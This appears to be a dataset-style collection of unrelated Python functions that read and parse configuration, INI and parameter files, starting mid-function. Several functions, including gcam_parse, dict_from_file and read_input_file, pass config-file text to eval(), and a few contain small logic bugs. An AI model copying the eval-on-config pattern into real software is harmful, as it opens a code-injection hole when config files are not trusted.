item[rangeIndex].tag == 'min':\n\t\t\t\t\t\t\tthisRange[1] = float(item[rangeIndex].text);\n\t\t\t\t\tthisDict['range'] = thisRange;\n\t\t\tret0.append(thisDict);\n\t\tif entry.tag == 'output':\n\t\t\tthisDict = {};\n\t\t\tfor item in entry:\n\t\t\t\tif item.tag == 'name' or 'description':\n\t\t\t\t\tthisDict[item.tag] = item.text;\n\t\t\t\tif item.tag == 'keys':\n\t\t\t\t\tthisKeys = [];\n\t\t\t\t\tkeyNum = int(item.attrib['number']);\n\t\t\t\t\tfor keyIndex in range(keyNum):\n\t\t\t\t\t\tthisKeys.append(item[keyIndex].text);\n\t\t\t\t\tthisDict[item.tag] = thisKeys;\n\t\t\tret1.append(thisDict);\n\n\treturn (ret0, ret1);","def read_params(filename=DEFAULT_INPUT_CFG_FILE, iface=DEFAULT_IFACE):\n params = {}\n params['iface'] = iface\n with open(filename) as streamfile:\n for line in streamfile:\n (key, val) = line.split('=')\n key = key.strip()\n val = val.strip()\n if key in ('vlan', 'totpkts', 'pps', 'l2payload_size'):\n assert val.isdigit()\n val = int(val)\n if key in ('inc_srcmac', 'inc_dstmac', 'inc_vlan'):\n assert val.lower() == 'yes' or val.lower() == 'no'\n val = bool(val.lower() == 'yes')\n params[key] = val\n return params","def _parse_config(self, config_path=None):\n # Configurable parameters\n config_param = {\n 'elements': [\n 'NUM_BLUE',\n 'NUM_RED',\n 'NUM_BLUE_UAV',\n 'NUM_RED_UAV',\n 'NUM_GRAY',\n 'NUM_BLUE_UGV2',\n 'NUM_RED_UGV2',\n 'NUM_BLUE_UGV3',\n 'NUM_RED_UGV3',\n 'NUM_BLUE_UGV4',\n 'NUM_RED_UGV4'],\n 'control': [\n 'CONTROL_ALL',\n 'MAX_STEP',\n 'RED_STEP',\n 'RED_DELAY',\n 'BLUE_ADV_BIAS',\n 'RED_ADV_BIAS'],\n 'communication': [\n 'COM_GROUND',\n 'COM_AIR',\n 'COM_DISTANCE',\n 'COM_FREQUENCY'],\n 'memory': [\n 'INDIV_MEMORY',\n 'TEAM_MEMORY',\n 'RENDER_INDIV_MEMORY',\n 'RENDER_TEAM_MEMORY'],\n 'settings': [\n 'RL_SUGGESTIONS',\n 'STOCH_TRANSITIONS',\n 'STOCH_TRANSITIONS_EPS',\n 'STOCH_TRANSITIONS_MOD',\n 'STOCH_ATTACK',\n 'STOCH_ATTACK_BIAS',\n 'STOCH_ZONES',\n 'RED_PARTIAL',\n 'BLUE_PARTIAL',\n 'MAP_MODE',\n 'MAP_POOL_SIZE'],\n 'experiments': [\n 'RENDER_ENV_ONLY',\n 'SAVE_BOARD_RGB',\n 'SAVE_BLUE_OBS',\n 'SAVE_RED_OBS',\n 'SILENCE_RENDER',\n 'RESPAWN_FLAG',\n 'RESPAWN_AGENT_DEAD',\n 'RESPAWN_AGENT_AT_FLAG']}\n config_datatype = {\n 'elements': [\n int, int, int ,int, int, int, int,\n int, int, int, int],\n 'control': [bool, int, int, int, int, int, int, int],\n 'communication': [bool, bool, int, int],\n 'memory': [str, str, bool, bool],\n 'settings': [\n bool, bool, float, str,\n bool, int, bool, bool, bool, str, int],\n 'experiments': [bool, bool, bool, bool, bool, bool, bool, bool]}\n\n if config_path is None and self.config_path is not None:\n # Maintain previous configuration\n return\n assert os.path.isfile(config_path), 'Configuration file does not exist'\n self.config_path = config_path\n config = configparser.ConfigParser()\n config.read(config_path)\n\n # Set environment attributes\n for section in config_param:\n for option, datatype in zip(config_param[section], config_datatype[section]):\n if not config.has_section(section) or not config.has_option(section, option):\n if hasattr(self, option):\n continue\n else:\n raise KeyError('Configuration import fails: double check whether all config variables are included')\n if datatype is bool:\n value = config.getboolean(section, option)\n elif datatype is int:\n value = config.getint(section, option)\n elif datatype is float:\n value = config.getfloat(section, option)\n elif datatype is str:\n value = config.get(section, option)\n else:\n raise Exception('Unsupported datatype')\n setattr(self, option, value)","def readParamFromFile(self, file, sect):\r\n f = configparser.ConfigParser()\r\n f.read(file)\r\n # s = f.sections()\r\n # print(s)\r\n\r\n self.m_param = dict(f.items(sect))\r\n print(self.m_param)\r\n # print(len(self.m_param))\r","def importParameterBoundaryFile(paramfilename):\n try:\n infile = open(paramfilename, \"r\")\n except IOError:\n\t print \"Unable to open file %s\" % (paramfilename)\n\t raise IOError(\"Unable to open parameter boundary file %s\" % (paramfilename))\n lines = infile.readlines()\n infile.close()\n\n # Parse\n paramdict = {}\n for line in lines:\n line = line.strip()\n if len(line) == 0:\n continue\n elif line[0] == '#':\n continue\n else:\n terms = line.split()\n name = terms[0]\n value = float(terms[1])\n parmin = float(terms[2])\n parmax = float(terms[3])\n stepsize = float(terms[4])\n \n paramdict[name] = [value, parmin, parmax, stepsize]\n # ENDIF\n # ENDFOR\n\n return paramdict","def parseconfig_se(cfile):\n cdict = {}\n f = open(cfile,'r')\n lines = f.readlines()\n for l in lines:\n a = string.split(l)\n if len(a) > 0:\n if a[0][0] != '#':\n maxi = len(a)\n for i in range(1,len(a)):\n if a[i][0] == '#':\n maxi = i\n break\n # Turn comma-separated lists into python lists\n entry = []\n for e in a[1:maxi]:\n if string.find(e,','):\n entry = entry + string.split(e,',')\n else:\n entry = entry + [e]\n cdict[a[0]] = entry\n return cdict","def parse_scan_args(file_path: str) -> dict:\n log = ess_factory(fullpath=file_path, check_for_errors=False)\n scan_args = {'scan': None, 'freeze': [],\n 'step': 0, 'step_size': 0, 'n_atom': 0}\n if isinstance(log, GaussianLog):\n try:\n # g09, g16\n scan_blk = parse_str_blocks(file_path, 'The following ModRedundant input section has been read:',\n 'Isotopes and Nuclear Properties', regex=False)[0][1:-1]\n except IndexError: # Cannot find any block\n # g03\n scan_blk_1 = parse_str_blocks(file_path, 'The following ModRedundant input section has been read:',\n 'GradGradGradGrad', regex=False)[0][1:-2]\n scan_blk_2 = parse_str_blocks(file_path, 'NAtoms=',\n 'One-electron integrals computed', regex=False)[0][:1]\n scan_blk = scan_blk_1 + scan_blk_2\n scan_pat = r'[DBA]?(\\s+\\d+){2,4}\\s+S\\s+\\d+[\\s\\d.]+'\n frz_pat = r'[DBA]?(\\s+\\d+){2,4}\\s+F'\n value_pat = r'[\\d.]+'\n for line in scan_blk:\n if re.search(scan_pat, line.strip()):\n values = re.findall(value_pat, line)\n scan_len = len(values) - 2 # atom indexes + step + stepsize\n scan_args['scan'] = [int(values[i]) for i in range(scan_len)]\n scan_args['step'] = int(values[-2])\n scan_args['step_size'] = float(values[-1])\n if re.search(frz_pat, line.strip()):\n values = re.findall(value_pat, line)\n scan_args['freeze'].append([int(values[i]) for i in range(len(values))])\n if 'NAtoms' in line:\n scan_args['n_atom'] = int(line.split()[1])\n else:\n raise NotImplementedError(f'parse_scan_args() can currently only parse Gaussian output '\n f'files, got {log}')\n return scan_args","def get_allowed_ranges(csvfile):\n from csv import DictReader\n ranges = {}\n with open(csvfile, 'r') as infile:\n # Remove spaces from field headers\n firstline = infile.readline()\n headers = [k.strip() for k in firstline.split(',')]\n if not len(headers) == 11:\n headers = [k.strip() for k in firstline.split(' ')]\n opfield = 'CSVv2;OperatingPoint'\n if not opfield in headers: opfield = 'cMVAv2;OperatingPoint'\n if not opfield in headers: opfield = 'CSV;OperatingPoint'\n\n reader = DictReader(infile, fieldnames=headers)\n for row in reader:\n key = (int(row[opfield].strip()),\n row['measurementType'].strip(),\n row['sysType'].strip(),\n int(row['jetFlavor'].strip()))\n ranges.setdefault(key, {})\n for var in ['eta', 'pt', 'discr']:\n mini = float(row['%sMin'%var].strip())\n maxi = float(row['%sMax'%var].strip())\n ranges[key]['%sMin'%var] = min(ranges[key].setdefault('%sMin'%var, mini), mini)\n ranges[key]['%sMax'%var] = max(ranges[key].setdefault('%sMax'%var, maxi), maxi)\n return ranges","def process_config(config_file=''):\n if not config_file:\n config_file = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"config\")\n config = configparser.ConfigParser()\n config.read(config_file)\n config_dict = {}\n for section in config.sections():\n config_dict[section] = {name: value for name, value in config.items(section)}\n return config_dict","def _parse(self, content):\n os.environ['ASTER_VERSION_DIR'] = self.dirn\n cfg = {}\n self._content = content\n for l in split_endlines(self._content):\n if not re.search('^[ ]*#', l):\n try:\n typ, nam, ver, val = l.split('|')\n #print '========>', typ, '//', nam, '//', ver, '//', val\n typ = re.sub('^[ ]*', '', re.sub('[ ]*$', '', typ)).strip()\n val = re.sub('^[ ]*', '', re.sub('[ ]*$', '', val)).strip()\n if val != '':\n val = osp.expandvars(val)\n if cfg.has_key(typ):\n cfg[typ].append(val)\n else:\n cfg[typ] = [val]\n except ValueError:\n pass\n return cfg","def _get_params_ranges(task: str,) -> Dict[str, Any]:\n params_file = os.path.join(\n os.path.dirname(__file__), \"params\", \"xgboost.yml\"\n )\n params = utils.read_yaml(params_file)\n\n if \"regression\" in task.lower():\n params.update({\"objective\": \"reg:squarederror\"})\n return params\n if \"binary\" in task.lower():\n params.update({\"objective\": \"binary:logistic\"})\n return params\n raise ValueError(f\"{task} is not a supported task.\")","def parse_data_config(path):\n cfg = dict()\n cfg['gpus'] = '0,1,2,3'\n cfg['num_workers'] = '10'\n \n with open(path, 'r') as fp:\n lines = fp.readlines()\n for line in lines:\n line = line.strip()\n if line == '' or line.startswith('#'):\n continue\n key, value = line.split('=')\n cfg[key.strip()] = value.strip()\n \n return cfg","def get_params(param_file_path):\n\n config = ConfigParser.SafeConfigParser()\n config.read(param_file_path)\n\n # Get \"raw\" dictionaries from `config` object\n raw_params = dict(config.items('general'))\n raw_cosmo_params = dict(config.items('cosmology'))\n raw_io_params = dict(config.items('io'))\n raw_binning_params = dict(config.items('binning'))\n raw_maps_to_stack_params = dict(config.items('maps_to_stack'))\n raw_map_path_params = dict(config.items('map_path'))\n raw_map_file_params = dict(config.items('map_file'))\n raw_noise_path_params = dict(config.items('map_path'))\n raw_noise_file_params = dict(config.items('noise_file'))\n raw_beams_params = dict(config.items('beams'))\n raw_color_correction_params = dict(config.items('color_correction'))\n raw_catalogs_params = dict(config.items('catalogs'))\n\n raw_io_params['param_file_path'] = os.path.abspath(param_file_path) # Store parameter file path\n\n # Convert \"raw\" config dictionary to \"organized\" dictionary `params`\n params = get_general_params(raw_params) \n params['io'] = get_io_parameters(raw_io_params)\n params['cosmo'] = get_cosmology_parameters(raw_cosmo_params)\n params['map_files'] = get_maps_parameters(raw_maps_to_stack_params,raw_map_path_params,raw_map_file_params)\n params['noise_files'] = get_maps_parameters(raw_maps_to_stack_params,raw_noise_path_params,raw_noise_file_params)\n params['wavelength'] = get_wavelength_parameters(raw_maps_to_stack_params)\n params['psfs'] = get_beams_parameters(raw_maps_to_stack_params,raw_beams_params)\n params['color_correction'] = get_color_correction_parameters(raw_maps_to_stack_params,raw_color_correction_params)\n params['catalogs'] = get_catalogs_parameters(raw_catalogs_params)\n params['bins'] = get_binning_parameters(raw_binning_params)\n params['library_keys'] = params['map_files'].keys()\n\n logging.info(\"---------- PARAMETER VALUES ----------\")\n logging.info(\"======================================\")\n logging.info(\"\\n\" + pprint.pformat(params, indent=4) + \"\\n\")\n\n #pdb.set_trace()\n return params","def parse_ranges(ranges, expand=True):\n pairs = ranges.split(' ')\n content = {}\n for key, value in [pair.split('=') for pair in pairs if '=' in pair]:\n content[key] = parse_range_once(value, expand)\n return content","def process_config(self, filename):\n \n self.log_message(\"processing config file: \"+filename)\n parser = SafeConfigParser()\n parser.optionxform = str\n parser.read(filename)\n self.source_files[filename] = parser\n \n sections = parser.sections()\n for section in sections:\n \n options = parser.options(section)\n params = {}\n non_std = {}\n for option in options:\n ## any option that ends with the word \"password\" will be encrypted and will automatically be decrypted upon\n ## processing \n if option in self.standard_options:\n params[option] = self.get_value(option, parser.get(section, option))\n else:\n non_std[option] = self.get_value(option, parser.get(section, option))\n\n params['non_std'] = non_std\n params['source_file'] = filename\n params['name']=section\n params['run_date']=self.run_date\n c_entry = ConfigEntry(params)\n if c_entry.ready: \n entry_num = c_entry.get_entry_type()\n self.entries[self.entry_types[entry_num]].append(c_entry)\n self.entry_dict[section] = {'source':filename,'entry':c_entry}\n self.log_message(\"Loaded Config Entry: \"+section)\n else:\n self.log_message(\"Failed to load config entry: \"+section)\n\n return self.entries","def _parse_requantization_ranges(self):\n res = {}\n\n print_suffix = \"__print__\"\n lines = self._get_valid_log()\n temp_min = {}\n temp_max = {}\n pattern_def = r\"{};{}:\\[\\-?\\d+\\.?\\d*e?-?\\+?\\d*\\]\".format(print_suffix, self.postfix)\n for i in lines:\n if not re.search(pattern_def, i):\n continue\n\n max_line_data = i.split(print_suffix + \";\" + self.postfix)[-1]\n min_value = max_line_data.split('][')[0].split('[')[1]\n max_value = max_line_data.split('][')[1].split(']')[0]\n name = i.split(';')[1].strip()[:-len(print_suffix)]\n if name not in temp_min:\n temp_min[name] = []\n if name not in temp_max:\n temp_max[name] = []\n\n temp_min[name].append(float(min_value))\n temp_max[name].append(float(max_value))\n\n for key in temp_min:\n target_min_index = int(np.ceil(len(temp_min[key]) * (1 - self.threshold)))\n\n if key not in res:\n res[key] = []\n\n if target_min_index > len(temp_min[key]) - 1:\n target_min_index = len(temp_min[key]) - 1\n res[key].append(sorted(temp_min[key])[target_min_index])\n\n for key in temp_max:\n target_max_index = int(np.floor(len(temp_max[key]) * self.threshold)) - 1\n\n if target_max_index > len(temp_max[key]) - 1:\n target_max_index = len(temp_max[key]) - 1\n\n res[key].append(sorted(temp_max[key])[target_max_index])\n\n if self.tensor_data:\n for k, v in self.tensor_data.items():\n if k in res:\n self.logger.debug(\"Update node {} min to {}, max to {}.\".format(k, v[2], v[3]))\n res[k] = [v[2], v[3]]\n return res","def read_t5_gin_config_file(config_file_path: str) ->Dict:\n config = {}\n with open(config_file_path, 'r') as gin_file:\n for line in gin_file:\n if line.startswith(IMPORTANT_PARAMS):\n assignment = line.strip().split()\n assert len(assignment) == 3\n arg_name, _, value = assignment\n config[arg_name] = ast.literal_eval(value)\n return config","def read_parse_file(params):\n\tparam_names = []\n\tparam_options = []\n\tif not os.path.isfile(params.parse_file):\n\t\tprint(\"parse file does not exist! ({})\".format(params.parse_file))\n\t\tsys.exit(NO_PARSE)\n\twith open(params.parse_file, 'r') as pf:\n\t\t# first line should be iteration regex\n\t\tsetattr(params, 'iteration_regex', re.compile(pf.readline().strip()))\n\t\tfor line in pf:\n\t\t\tparam_desc = line.split(';')\n\t\t\tparam_names.append(param_desc[0])\n\t\t\tparam_options.append(param_desc[1])\n\n\treturn param_names,param_options","def read_gbvi_parameters(filename):\n\n parameters = dict()\n \n infile = open(filename, 'r')\n for line in infile:\n # Strip trailing comments\n index = line.find('%')\n if index != -1:\n line = line[0:index] \n\n # Parse parameters\n elements = line.split()\n if len(elements) == 3:\n [atomtype, radius, gamma] = elements\n parameters['%s_%s' % (atomtype,'radius')] = float(radius)\n parameters['%s_%s' % (atomtype,'gamma')] = float(gamma)\n\n return parameters","def comando_config(self):\r\n if args.tag:\r\n cfile = args.file\r\n\t if args.opcao == 'daruma' and not cfile:\r\n cfile = '/usr/local/lib/daruma.ini'\r\n\t if args.value:\r\n dictags = self.set_param_section_config_ini(cfile, args.loja, args.tag, args.value)\r\n return dictags\r\n # modificar\r\n\t else:\r\n dictag = self.get_param_section_config_ini(cfile, args.loja, args.tag)\r\n return dictag #retorna dicicionario\r","def read_config(self, filename):\n heading = None\n with open(filename) as fin: # open the file\n for line in fin:\n line = line.strip() # cut the tail\n if line.startswith('==') and line.endswith('=='): # detect headings\n heading = line[2:-2] # heading\n self._config[heading] = {} # create a dictionary for the heading\n elif line.count(':') == 1 and heading is not None: # detect attribute\n attr, _, value = line.partition(':') # get attribute and their value\n self._config[heading][attr[:-1]] = value[1:] # update into dic\n elif line == \"\": # if line is empty, skip\n continue\n else: # bad line\n messagebox.showerror(\"Error\", \"Bad config file, I can't read it!\")\n return self._config","def read_setup(inifile):\n # inifile = os.path.join(spathy_path, inifile)\n print(inifile)\n cfg = configparser.ConfigParser()\n cfg.read(inifile)\n\n pp = {}\n for s in cfg.sections():\n section = s.encode('ascii', 'ignore')\n pp[section] = {}\n for k, v in cfg.items(section):\n key = k.encode('ascii', 'ignore')\n val = v.encode('ascii', 'ignore')\n if section == 'General': # 'general' section\n pp[section][key] = val\n else:\n pp[section][key] = float(val)\n pp['General']['dt'] = float(pp['General']['dt'])\n\n pgen = pp['General']\n pcpy = pp['CanopyGrid']\n pbu = pp['BucketGrid']\n ptop = pp['Topmodel']\n\n return pgen, pcpy, pbu, ptop","def params_file(file):\n dict={}\n for line in open(file,'r').readlines():\n if line[0]==' ' or line[0]=='#': continue \n halves=line.split('#')\n\t#replace commas in case they're present\n halves[0]=halves[0].replace(',',' ') \t\n pieces=halves[0].split()\n if len(pieces)==0: continue\n key=pieces[0]\n #if type(key)<>type(''):\n # raise 'Keyword not string!'\n if len(pieces)<2:\n mensaje='No value(s) for parameter '+key\n raise mensaje\n dict[key]=tuple(pieces[1:]) \n if len(dict[key])==1: dict[key]=dict[key][0]\n return dict","def config(self) -> Dict[str, Any]:","def read_t5_gin_config_file(config_file_path: str) -> Dict:\n config = {}\n\n with open(config_file_path, 'r') as gin_file:\n for line in gin_file:\n if line.startswith(IMPORTANT_PARAMS):\n assignment = line.strip().split()\n assert len(assignment) == 3\n arg_name, _, value = assignment\n config[arg_name] = ast.literal_eval(value)\n\n return config","def gcam_parse(cfgfile_name):\n\n ## initialize the structures that will receive the data we are\n ## parsing from the file\n capability_table = {}\n module_list = []\n\n ## cfgfile_name is a filename\n with open(cfgfile_name,\"r\") as cfgfile: \n section = None\n module = None\n sectnpat = re.compile(r'\\[(.+)\\]')\n keyvalpat = re.compile(r'(.+)=(.+)')\n\n for line in cfgfile:\n line = line.lstrip() # remove leading whitespace\n\n ## check for comments and blank lines. A line is a comment if\n ## the first non-whitespace character is a '#'\n if(line == \"\" or line[0] == '#'):\n continue\n\n ## check for section header. Section headers appear in square brackets: [gcam_module]\n sectnmatch = sectnpat.match(line)\n if sectnmatch:\n section = sectnmatch.group(1)\n print \"parser starting section: %s\" % section\n \n if not section.lower()==\"global\":\n ## Section header starts a new module\n ## create the new module: the section name is the module class\n ## TODO: is the input from the config file trusted enough to do it this way?\n modcreate = \"%s(capability_table)\" % section\n print \"modcreate statement: %s\\n\" % modcreate\n module = eval(modcreate)\n else:\n ## This is kind of a wart because I want to call\n ## the section \"global\", but I don't want to have\n ## a module called \"global\".\n module = GlobalParamsModule(capability_table)\n \n module_list.append(module) \n continue # nothing further to do for a section header line\n\n ## If we get this far, we have a nonblank line that is not a\n ## comment or a section header. We had better be in a section\n ## by now, or the config is malformed.\n if section==None:\n raise RuntimeError(\"Malformed config file: doesn't open with a section header.\")\n\n kvmatch = keyvalpat.match(line)\n if not kvmatch:\n raise RuntimeError(\"Malformed line in config file:\\n%s\"%line)\n\n key = kvmatch.group(1).lstrip().rstrip()\n val = kvmatch.group(2).lstrip().rstrip()\n\n print \"parser got key= %s\\tval= %s\" % (key, val)\n\n module.addparam(key, val)\n\n ## end of loop over config file lines\n ## end of with block: config file will be closed\n \n ## close out the parameter processing for all modules in the list\n for module in module_list:\n module.finalize_parsing()\n\n return (module_list, capability_table)","def parse_qiime_config_file(qiime_config_file):\r\n result = {}\r\n for line in qiime_config_file:\r\n line = line.strip()\r\n # ignore blank lines or lines beginning with '#'\r\n if not line or line.startswith('#'):\r\n continue\r\n fields = line.split()\r\n param_id = fields[0]\r\n param_value = expandvars(' '.join(fields[1:])) or None\r\n result[param_id] = param_value\r\n return result","def parseConfig(f):\n config = {\"formats\":{}}\n \n for line in f:\n if line.startswith(\"//\"): \n continue\n \n sline = re.split(\"[=\\s]\", line)\n if sline[0] is \"\":\n continue\n \n if sline[0]==\"format\":\n #Puts the format as a key in the dict pointed to by \"formats\"\n config[\"formats\"][sline[1]] = sline[3] \n else:\n config[sline[0]] = sline[1]\n \n return config","def _load_from_config(self, config_file):\n\n if config_file and isinstance(config_file, bool):\n config_file = '/etc/zabbix/zabbix_agentd.conf'\n\n logger.debug(\"Used config: %s\", config_file)\n\n # This is workaround for config wile without sections\n with open(config_file, 'r') as f:\n config_file_data = \"[root]\\n\" + f.read()\n\n params = {}\n\n args = inspect.getfullargspec(configparser.RawConfigParser.__init__).kwonlyargs\n\n if 'strict' in args:\n params['strict'] = True\n\n config_file_fp = StringIO(config_file_data)\n config = configparser.RawConfigParser(**params)\n config.read_file(config_file_fp)\n # Prefer ServerActive, then try Server and fallback to defaults\n if config.has_option('root', 'ServerActive'):\n zabbix_serveractives = config.get('root', 'ServerActive')\n elif config.has_option('root', 'Server'):\n zabbix_serveractives = config.get('root', 'Server')\n else:\n zabbix_serveractives = '127.0.0.1:10051'\n\n result = []\n for serverport in zabbix_serveractives.split(','):\n if ':' not in serverport:\n serverport = \"%s:%s\" % (serverport.strip(), 10051)\n server, port = serverport.split(':')\n serverport = (server, int(port))\n result.append(serverport)\n logger.debug(\"Loaded params: %s\", result)\n\n return result","def read_config(self, config_filename):","def dict_from_file(filename):\n token = '\\s+|(?<!\\d)[,](?!\\d)'\n letters = re.compile(\"(^[a-zA-Z])\") # starts with a letter\n numbers = re.compile(\"(^(?:[+\\-])?(?:\\d*)(?:\\.)?(?:\\d*)?(?:[eE][+\\-]?\\d*$)?)\")\n empty = re.compile(\"(^\\s*$)\") # is a blank line\n\n print(\"\\nReading {0:s} ...\".format(filename))\n with open(filename, 'r') as fh:\n lines = fh.readlines()\n content = dict()\n for line in lines:\n value = None\n key = None\n if not empty.match(line):\n if letters.match(line):\n pair = re.split(token, line.strip(), maxsplit=3)\n if len(pair) == 2: # key and value exist\n key = pair[0] # first item is the key\n val = pair[1] # second item is the value\n if letters.match(val):\n value = val\n if numbers.fullmatch(val):\n value = eval(val)\n if len(pair) == 3: # key min max exist\n key = pair[0]\n val1, val2 = pair[1:]\n if numbers.fullmatch(val1) and numbers.fullmatch(val2):\n value = (eval(val1), eval(val2))\n else:\n raise ValueError(\"Min/max values expected for {0}\"\n .format(key))\n # ignore the filter file pointings and the sensitivity files these are\n # used for simulation\n if key and (value is not None):\n if ((\"FILTER\" not in key) and (\"SENSITIVITY\" not in key)):\n content[key] = value\n print(\"Setting {0:s} = {1}\".format(key, value))\n\n return content","def setupdict(parfile):\n pardict = {}\n with open(parfile,'r+') as f:\n for line in f:\n flags = line[56:65].split(' ')\n try:\n flags = [int(f) for f in flags]\n except:\n continue\n # if we found res pars\n if( all(flags) <= 3 ):\n # if any varied pars\n if( any(flags) > 0 ):\n # energies are dict keys\n estring = endf_float_str(float(line[0:11]))\n pardict[estring] = []\n pars = [float(line[0+11*i:11+11*i]) for i in range(len(flags))]\n for i,flag in enumerate(flags):\n if( flag > 0 ):\n pardict[estring].append((i,pars[i]))\n return pardict","def parse_ini_file_into_dict(filename):\n output = {}\n\n INIfile = SafeConfigParser()\n result = INIfile.read(filename) # returns an empty list if file error\n if result == []:\n raise IOError\n\n #iterate through INI file and build dictionary\n for section_name in INIfile.sections():\n section_dict = {}\n for option_name in INIfile.options(section_name):\n option_value = INIfile.get(section_name, option_name)\n section_dict[option_name] = option_value\n output[section_name] = section_dict\n\n return output","def parse_config_file(config_file):\n\n config = ConfigParser.SafeConfigParser()\n config.read(config_file)\n\n config_dict = {}\n for section in config.sections():\n # TODO : Should I force all section names to lowercase?\n config_dict[section.strip()] = dict(config.items(section))\n\n\n return config_dict","def parse_config_file(config_file):\n parsed = {}\n\n try:\n with open(config_file, \"r\") as data:\n for line in data.readlines():\n if \"=\" not in line:\n continue\n key, val = line.split(\"=\", 1)\n parsed[key] = val.strip()[1:-1]\n except IOError:\n logging.error(\"%s doesn't exist\" % config_file)\n raise\n\n return parsed","def _parse(self):\n with open(self.input) as f:\n for line in f:\n if not line.lstrip().startswith(\"#\"): # comment\n stripped_line=line.split(\"#\")[0].strip()\n \n # Initialise an empty option dictionary with some good defaults\n if \"[\" in stripped_line:\n molname=stripped_line.split()[1]\n self.options[molname]=self.empty_option_dict.copy() # dict1=dict2 does not copy!\n self.options[molname][\"MolName\"]=molname\n if \":\" in stripped_line: \n # now process line by line\n if \"{\" not in stripped_line:\n key,value=[i.strip() for i in stripped_line.split(\":\")]\n\n if key not in self.options[molname].keys():\n raise BaseException(\"Option \\\"{}\\\" not known, please check your input file\".format(key))\n self.options[molname][key]=value \n else:\n # This is to define special lines that are given by a dictionary\n key,value=stripped_line.split(\":\",1) # split on first occurence\n if key==\"Addon\": # additional atoms to be added per molecule\n addondict=self.empty_addon_dict.copy()\n addondict_string = value.split(\"}\",-1)[0].split(\"{\",1)[1]\n for pair in addondict_string.split(\",\"):\n addonkey,addonvalue=[i.strip() for i in pair.split(\":\")]\n if addonkey not in addondict.keys():\n raise BaseException(\"Option \\\"{}\\\" in Addon section of molecule {} not known, please check your input file\".format(addonkey,molname))\n addondict[addonkey]=addonvalue\n value=addondict\n # Since addon keyword can be used many times, this is a list\n self.options[molname][key].append(value) \n self._check()","def get_config_dict(config_filename):\n f = open(config_filename)\n ret = dict()\n for line in f.readlines():\n arr = line.strip().split('=', 1)\n ret[arr[0]] = arr[1]\n\n return ret","def parse_config(cls, fname):\n with open(fname) as f:\n lines = [l.strip() for l in f.read().split('\\n') if l.strip()]\n\n comments = [l.replace('#', '').strip()\n for l in lines if l.startswith('#')]\n lines = [l for l in lines if not l.startswith('#')]\n\n # We use a simple state-machine approach to the parsing\n # in order to deal with multi-line sections.\n parsing = False\n keys = cls.config_guide.keys()\n vars = {var: [] for var in keys}\n for line in lines:\n if not parsing:\n k, csv = line.split(':')\n else:\n csv = line\n\n vars[k].extend([val.strip() for val in csv.split(',')])\n parsing = not line.endswith(';')\n if not parsing:\n vars[k][-1] = vars[k][-1][:-1] # remove semi-colon\n\n # Remove whitespace strings. These may have come from something like:\n # c: this, , that;\n for k in keys:\n vars[k] = [val for val in vars[k] if val] # already stripped\n\n return comments, vars","def read_input_file():\n \n global input\n \n config = ConfigParser.RawConfigParser()\n config.read(os.path.join(os.getcwd(), 'INPUT.cfg'))\n\n input = {}\n input['datapath'] = config.get('Address_info', 'datapath')\n input['inter_address'] = config.get('Address_info', 'interactive_address')\n input['target_folder'] = config.get('Address_info', 'target_folder')\n input['save_folder'] = config.get('Address_info', 'save_folder')\n \n if not os.path.isabs(input['datapath']):\n input['datapath'] = os.path.join(os.getcwd(), input['datapath'])\n \n if not os.path.isabs(input['inter_address']):\n input['inter_address'] = os.path.join(os.getcwd(), input['inter_address'])\n \n if not os.path.isabs(input['target_folder']):\n input['target_folder'] = os.path.join(os.getcwd(), input['target_folder'])\n \n if not os.path.isabs(input['save_folder']):\n input['save_folder'] = os.path.join(os.getcwd(), input['save_folder'])\n \n \n input['min_date'] = str(eval(config.get('Event_Request', 'min_datetime')))\n input['max_date'] = str(eval(config.get('Event_Request', 'max_datetime')))\n input['min_mag'] = config.getfloat('Event_Request', 'min_magnitude')\n input['max_mag'] = config.getfloat('Event_Request', 'max_magnitude')\n input['min_depth'] = config.getfloat('Event_Request', 'min_depth')\n input['max_depth'] = config.getfloat('Event_Request', 'max_depth')\n input['evlonmin'] = config.getfloat('Event_Request', 'evlonmin')\n input['evlonmax'] = config.getfloat('Event_Request', 'evlonmax')\n input['evlatmin'] = config.getfloat('Event_Request', 'evlatmin')\n input['evlatmax'] = config.getfloat('Event_Request', 'evlatmax')\n input['preset'] = config.getfloat('Event_Request', 'preset')\n input['offset'] = config.getfloat('Event_Request', 'offset')\n input['max_result'] = config.getint('Event_Request', 'max_results')\n \n input['get_events'] = config.get('Request', 'get_events')\n input['input_period'] = config.get('Parallel', 'input_period')\n input['IRIS'] = config.get('Request', 'IRIS')\n input['ArcLink'] = config.get('Request', 'ArcLink')\n input['time_iris'] = config.get('Request', 'time_iris')\n input['time_arc'] = config.get('Request', 'time_arc')\n \n input['nodes'] = config.get('Parallel', 'nodes')\n\n input['waveform'] = config.get('Request', 'waveform')\n input['response'] = config.get('Request', 'response')\n input['SAC'] = config.get('Request', 'SAC')\n \n input['net'] = config.get('specifications_request', 'network')\n input['sta'] = config.get('specifications_request', 'station')\n \n if config.get('specifications_request', 'location') == \"''\":\n input['loc'] = ''\n elif config.get('specifications_request', 'location') == '\"\"':\n input['loc'] = ''\n else:\n input['loc'] = config.get('specifications_request', 'location')\n \n input['cha'] = config.get('specifications_request', 'channel')\n\n if config.get('specifications_request', 'lat') == 'None':\n input['lat_cba'] = None\n else:\n input['lat_cba'] = config.get('specifications_request', 'lat')\n \n if config.get('specifications_request', 'lon') == 'None':\n input['lon_cba'] = None\n else:\n input['lon_cba'] = config.get('specifications_request', 'lon')\n \n if config.get('specifications_request', 'minradius') == 'None':\n input['mr_cba'] = None\n else:\n input['mr_cba'] = config.get('specifications_request', 'minradius')\n \n if config.get('specifications_request', 'maxradius') == 'None':\n input['Mr_cba'] = None\n else:\n input['Mr_cba'] = config.get('specifications_request', 'maxradius')\n \n \n if config.get('specifications_request', 'minlat') == 'None':\n input['mlat_rbb'] = None\n else:\n input['mlat_rbb'] = config.get('specifications_request', 'minlat')\n \n if config.get('specifications_request', 'maxlat') == 'None':\n input['Mlat_rbb'] = None\n else:\n input['Mlat_rbb'] = config.get('specifications_request', 'maxlat')\n \n if config.get('specifications_request', 'minlon') == 'None':\n input['mlon_rbb'] = None\n else:\n input['mlon_rbb'] = config.get('specifications_request', 'minlon')\n \n if config.get('specifications_request', 'maxlon') == 'None':\n input['Mlon_rbb'] = None\n else:\n input['Mlon_rbb'] = config.get('specifications_request', 'maxlon')\n\n \n input['test'] = config.get('test', 'test')\n input['test_num'] = config.getint('test', 'test_num')\n \n input['update_interactive'] = config.get('update', 'update_interactive')\n input['iris_update'] = config.get('update', 'iris_update')\n input['arc_update'] = config.get('update', 'arc_update')\n\n 